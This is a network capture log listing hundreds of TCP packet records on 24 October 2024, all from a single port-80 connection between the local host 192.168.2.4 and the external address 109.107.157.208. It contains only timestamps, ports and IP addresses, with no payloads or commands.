Oct 24, 2024 13:27:07.524135113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524180889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524180889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524322033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524338007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524353027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524369001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524409056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524409056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524583101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524614096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524637938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524648905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524657011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524666071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524683952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524699926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524703026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524703979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524715900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524723053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524743080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524761915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525028944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525046110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525062084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525078058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525079012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525094986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525105000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525105000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525110960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525122881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525127888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525142908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525144100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525161028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525163889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525182962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525204897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525397062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525437117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525438070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525551081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525568008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525597095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525628090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525728941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525746107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525759935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525784969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525784969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525809050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525824070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525840044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525840044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525859118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525861025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525876045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.525882006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525904894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525904894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.525938988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526076078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526093006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526108980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526123047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526125908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526141882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526148081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526148081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526160955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526166916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526184082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526201010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526238918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526254892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526283026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526313066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526436090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526453018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526468039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526494026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526494980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526524067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526623964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526640892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526655912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526673079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526675940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526688099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526695013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526705980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526721001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526724100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.526741028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526778936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.526962042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527013063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527149916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527167082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527184010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527195930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527199030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527215958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527220964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527220964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527231932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527240038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527256966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527275085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527329922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527348042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527363062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527378082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527378082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527395010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527401924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527403116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527410984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527420998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527426958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527440071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527442932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527456999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527466059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527466059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527484894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527486086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527502060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527503014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527513027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.527549982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.527565956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528179884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528198004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528213024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528228998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528233051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528264999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528264999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528289080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528347015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528363943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528393984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528423071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528533936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528551102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528565884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528582096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528588057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528597116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528613091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528613091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528620958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528631926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528651953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528660059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528666973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528676987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528691053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528707981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528719902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528719902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528723955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528739929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528739929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528753042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528759956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528768063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528779984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528784990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.528799057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528815985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.528831959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529221058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529237986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529253960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529268026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529299021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529299974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529418945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529436111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529449940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529464960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529465914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529483080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529484034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529500008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529503107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529515028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529529095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529529095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529531002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529546022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529551029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529570103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529577017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529592037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529598951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529608965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529623032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529632092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529638052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529638052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529639959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529658079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529665947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529673100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.529700994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.529720068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530263901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530281067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530296087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530312061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530313015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530340910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530369997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530448914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530466080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530481100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530495882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530505896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530512094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530525923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530528069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530541897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530544043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530560017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530575037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530584097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530592918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530601025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530608892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530616999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530625105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530637980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530653000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530653954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530654907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530668974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530673027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530684948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.530699968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530719042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.530740023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531145096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531193018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531352997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531368971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531383038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531399012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531402111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531414986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531421900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531430960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531441927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531447887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531461954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531464100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531480074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531481028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531508923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531508923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531522036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531533003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531539917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531555891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531563997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531570911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531584024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531588078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531603098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531605959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531619072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531624079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531634092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531650066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.531651974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531696081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.531696081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532186985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532205105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532221079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532236099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532238960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532260895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532260895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532291889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532378912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532397032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532412052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532427073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532428026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532442093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532444954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532457113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532469988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532474041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532485962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532490015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532506943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532519102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532521963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532536030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532555103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532563925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532571077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532582998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532587051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532602072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532608032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532620907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532623053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532639027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.532639980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532665014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532665014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.532695055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533248901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533267021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533282995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533299923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533299923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533313036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533343077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533343077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533343077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533375025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533406973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533432961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.533463955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.533493996 CEST	49730	80	192.168.2.4	109.107.157.208
